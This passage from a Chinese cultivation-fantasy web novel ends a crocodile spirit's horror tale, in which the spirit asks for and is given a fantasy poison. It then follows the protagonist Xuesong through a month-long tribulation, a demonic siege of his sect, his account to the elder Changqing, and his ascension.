他惨叫起来,感觉那东西好像想要从他的胳膊掏出他的心脏,哪怕对面露出了人性化的委屈和迷茫的神色,他也不觉得那真的可能是人。
郎中告诉他,他再也不能离开这里,他不相信,可是天一亮,他出去向村民请求帮助,没有一个人帮他,而且用一种十分陌生而惊讶的目光看着他,他们没有说什么,但他感到一种巨大的绝望和无能为力。
他开始尝试向外跑,但是每当他以为自己跑出去了,就会发现,他又回到了村子里,就像是鬼打墙一样,永远也出不去。
郎中没有骗他,但他宁愿郎中在这件事上是骗了他的,事已至此,没有挽救的余地,他杀死了他的朋友和朋友的孩子,之后杀死了自己身边那个被称为孩子的东西,开始自杀。
但他最后也没有死,因为他能感觉到,他还有意识的,但他不能控制他的身体,村民们把他的尸体和他杀死的那些人的尸体埋在一起,旁边是一颗小小的种子,中间是空的,他不知道那是什么,但他感到神志不清。
后来那颗种子发了芽,他看见了无法用言语形容的诡异而瑰丽的色彩,终于完全失去意识,和那东西融为一体。
他最后只能在自己脑子里喃喃念道:这是……这是……
他大约说了什么,想要形容的东西,但是最后也不知道究竟是没说出来,还是无法形容,又或者是其他人根本没有办法听清或者听明白他在说什么。
总之,那个村子后来也荒废了,所有人全都死去,每一个人的身上都带着畸形的肢体和肿瘤,可怕极了。
只有那个病人,悄无声息来,悄无声息走,连一根头发丝也没留下,倒是有诡异的传说,日复一日描述着,从没见过的场景。”
鳄鱼长长吐出一口气:“我把故事讲完了,你能杀了我吗?我不想再过这样的日子了,这和死了没有什么区别,甚至比死了更难过。”
“好啊,”雪松看在他为自己讲了一个完整的故事的份上,掏出了毒药放进了刚得到的那个玻璃瓶里,摇晃了一下,把那个瓶子递给他,“把这东西喝掉,你就可以死了。”
他看着瓶子里诡异的蓝色液体,瞪了瞪眼睛,觉得这东西虽然可能有毒,但不一定毒得死他,说不定还会非常痛苦,有一点退缩,想要改变主意,或者让雪松给他换一种毒药,但转念一想,雪松也未必有其他的毒药,毕竟一般人身上不会常备这种东西。
再说了,如果他迟疑的时间太久,到了他身体里的那种毒药发作的时候,他又得晕过去,还不知道什么时候能死掉。
难道那种日子就好到哪里去?难道他真的能忍下去吗?他忍不下去!只要稍微想一想就知道了!这是很好选择的事情!
大不了自杀……他不这样选,不过是因为他不确定自己是不是真的会死,也不确定自己有没有那个时间,更不确定雪松会不会被他牵连,与其那么麻烦,还不如直接请求雪松帮忙。
既然雪松已经愿意帮忙,他还有什么好犹豫的呢?他闭着眼睛把毒药喝了下去,那东西的效果很好,而且生效很快,他几乎是一点痛苦都没感觉到,就失去了意识,飘飘然死掉了。
雪松垂着眼睛看着他,他在雪松面前变成了尸体,又从人形变回了鳄鱼,雪松把鳄鱼塞进了系统空间的格子里,打理了一下自己的洞府,掏出了丹药,一口全都吃了,准备提升修为。
很快,但药起了效果,他感觉到浑身上下都热了起来,经脉里的灵气涌动着,像咆哮的海浪。
他的每个毛孔都在出血,脸像撕裂了一样,但伤口很快就好了,这个过程循环往复,而他身体周围的灵气都涌动起来,如同狂躁的野兽,向他的身体经脉冲。
天上轰隆隆响着雷,一道一道打下来,一时闪着紫光,一时闪着红光,看起来分外不祥,乌云压顶,周围的人都屏住呼吸,一点一点往外挪,生怕自己不小心被圈住,也被劫雷认为是需要渡劫的人,一起打了。
那到时候雷劫可就不是这个程度了!绝对会翻倍的!一定会死!他们可没有想要掺和进来的意思!
更何况,他们一开始也不过是以为雪松,想要冲击元婴,最多是冲击元婴,过个三五天的也差不多了。
谁知道,雪松比他们想象中的胆子大多了,那场雷劫整整持续了一个月,而雪松的修为直接从金丹跳到元婴,又从元婴跳到化神,最后卡在化神向飞升的阶段。
那个时候一个月已经过了,已经到了第二个月了,宗门内的众人都对他望而生畏,觉得他绝对可以算是仙尊之后的第二个绝世天才,但凡他能冲过这一关,他的地位和身份是一定会大幅上涨的,只是不知道他究竟活不活得到那一天。
哪怕只是好奇的人,也会想要看看,他究竟能扛到哪一天,最后是死是活,以至于宗门内安静了许多,连大型活动都不怎么举办了,全都屏气凝神等着雪松的结果。
也就是这个时候,魔修发现里应外合根本不可能,复活仙尊的事情也错过了,想要利用早就种在雪松身体里的毒素来控制雪松,却发现也不行,终于大怒,开始了不计后果的对宗门的攻击。
哪怕宗门的法阵提前开启了,一时半会关不了,从开启到魔修攻击的那一天,消耗也太大了一些。
雪松提前准备的东西已经被消耗殆尽,阵法运转逐渐失效,只在最开始扛了一下,之后就被削弱了很多,眼看着即将消失。
宗门内的长老们才急匆匆要去维持阵法,顺便把其他所有的阵法都打开了,不管是攻击的还是防御的,通通用上,还通知宗门内的弟子做好战斗准备,并且安排了所有可用的弟子,按照名单去守门守夜和注意警戒,不要对任何一个魔修手下留情,不管是正面袭击的,还是背后偷袭的,又或者刚发现的。
宗门里就此洋溢着战斗时的紧张氛围。
雪松仍然在闭关冲击修为,还没有出来。
魔修看一时半会儿攻不进去,便对他们破口大骂,试图扰乱他们的心智:“你们里面有我们的卧底!你们有人偷偷复活仙尊!你们有人中了我们的毒,受我们的控制,听我们的话,帮我们的忙,你们还不知道吧?
是不是还傻呆呆的保护他呢?要不要我们告诉你们是谁?就是鼎鼎有名的仙尊的道侣——雪松!他是不是还在里面突破修为?快把他赶出来吧!否则他可要帮我们的忙了!”
魔修们说完哈哈大笑,宗门弟子们听完面面相觑,都有些惊疑不定,长老们在魔修们开口的时候就已经知道了,毕竟他们修为不低,听力也不算太差,距离又不远。
“这可怎么是好?这是真的吗?这要是真的,不可原谅!”
“他们应该只是随口说说,没有证据的,再说了,就算雪松真是他们的人,现在还在闭关,根本不出来,帮不上他们的忙的。”
“从这一点说,那倒确实不用担心,只是有一个问题,他是不是偷偷溜出来了,只是做一个正在突破的样子?之前的护宗阵法是不是他开启的?他为什么不提前告诉我们有这一回事?他是不是向着魔修?”
“这些事情搞清楚了,也就没什么好犹豫的了!”
长老们面面相觑,最后把事情交给了长青,让他去看一看雪松是不是真的还在洞府里面,是不是真的还在突破,顺便问一问,是不是真的帮了魔修的忙。
长青虽然觉得最后一个问题实在是有点太荒谬了,但看现场似乎没有比自己更合适的人选,不去问也不行,毕竟是大事,魔修又嚷嚷出来,总有人会怀疑,还是要个答案的,也就接了这件事去了。
好巧不巧,他到雪松洞府附近的时候,雪松正在冲击最后的关卡,他等了一会儿,劫雷终于缓缓散去,雪松推开门从里面出来。
那扇门一下子碎了,雪松随手用了一个修复术,把洞府恢复成完好无损的样子,向他走了过来:“你要问的事我大概都清楚,我一一向你说明吧?”
长青愣了一下,没料到他这么配合,但还是点了点头,因为他显然是即将飞升的样子,恐怕拖不了多久,便迫不及待说:“好。”
“阵法是我开的,我复活过仙尊,不过他很快就死了,除了你们抓的那个魔修,没人知道,但如果外面的也知道了,大约是他传了消息吧。
我从那天之后就在闭关,别的事情不清楚,至于魔修说我和他们勾结的事情,我只能说他们确实有向我下毒,让我复活仙尊,别的事情,没有了。”雪松一件事一件事向他说明。
他听完,热得满头是汗:“你居然真的把仙尊复活了?仙尊还又死了一次?难怪你那天——”那天离开之后就不见了人影。
我还奇怪,你怎么闭关这么久,冲击修为这么快,原来是受到了刺激,觉得留下来也没有必要了,才那样努力吗?
倒不如说,原来这样努力,根本是因为想要再次复活仙尊,而且不必又一次看着仙尊死在自己眼前吧?
众所周知,修为越高所能做到的事情越多,在复活这件事情上当然也是如此,哪怕不能复活,也可以尝试开启时空大道,回到过去,仙尊还活着的时候,四舍五入,倒也差不多。
外面轰隆隆响了起来。
长青回过神:“魔修还在外面攻击,宗门大阵的灵石即将消耗殆尽,你看?”
雪松看了一眼逐渐失去光芒的法阵:“好办。”只见他一抬手,灵力便源源不断涌入了法阵之中,法阵陡然一亮。
长青松了一口气:“多谢!”
“不用客气。”雪松摆了摆手,天上落下一道霞光,正照在他身上,他便飞升而去,逐渐消失。《 》